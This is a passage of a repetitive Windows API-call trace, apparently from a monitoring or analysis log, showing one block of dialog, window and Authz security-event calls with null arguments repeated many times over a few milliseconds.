0x0 [0025.603] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.603] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.603] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.603] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.603] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.603] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.603] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.603] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.603] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.603] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.603] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.603] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.603] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.603] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.603] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.603] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.603] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.603] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.603] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.603] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.603] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.603] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.604] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.604] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.604] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.604] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.604] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.604] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.604] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.604] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.604] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.604] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.604] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.604] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.604] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.604] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.604] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.604] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.604] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.604] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.604] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.604] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.604] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.604] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.604] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.604] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.604] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.604] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.604] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.604] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.604] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.604] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.604] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.604] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.604] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.604] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.604] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.604] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.604] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.604] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.604] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.604] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.604] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.605] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.605] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.605] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.605] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.605] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.605] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.605] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.605] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.605] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.605] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.605] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.605] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.605] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.605] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.605] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.605] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.605] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.605] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.605] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.605] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.605] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.605] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.605] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.605] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.605] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.605] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.605] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.605] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.605] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.605] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.605] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.605] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.605] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.605] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.605] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.605] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.605] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.605] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.605] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.605] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.605] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.606] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.606] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.606] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.606] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.606] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.606] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.606] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.606] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.606] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.606] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.606] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.606] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.606] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.606] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.606] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.606] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.606] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.606] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.606] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.606] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.606] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.606] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.606] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.606] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.606] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.606] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.606] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.606] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.606] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.606] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.606] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.606] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.606] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.606] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.606] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.606] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.606] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.606] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.606] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.606] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.607] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.607] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.607] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.607] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.607] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.607] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.607] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.607] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.607] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.607] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.607] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.607] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.607] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.607] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.607] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.607] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.607] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.607] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.607] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.607] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.607] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.607] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.607] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.607] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.607] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.607] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.607] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.607] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.607] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.607] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.607] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.607] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.607] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.607] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.607] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.607] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.607] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.607] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.607] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.607] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.608] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.608] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.608] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.608] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.608] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.608] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.608] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.608] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.608] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.608] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.608] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.608] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.608] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.608] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.608] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.608] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.608] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.608] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.608] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.608] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.608] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.608] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.608] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.608] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.608] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.608] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.608] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.608] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.608] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.608] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.608] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.608] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.608] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.608] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.608] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.608] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.608] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.608] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.608] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.608] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.608] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.609] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.609] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.609] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.609] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.609] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.609] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.609] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.609] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.609] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.609] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.609] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.609] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.609] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.609] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.609] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.609] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.609] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.609] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.609] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.609] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.609] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.609] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.609] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.609] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.609] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.609] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.609] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.609] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.609] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.609] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.609] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.609] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.609] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.609] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.609] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.609] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.609] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.609] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.610] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.610] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.610] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.610] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.610] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.610] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.610] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.610] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.610] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.610] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.610] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.610] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.610] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.610] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.610] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.610] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.610] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.610] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.610] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.610] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.610] 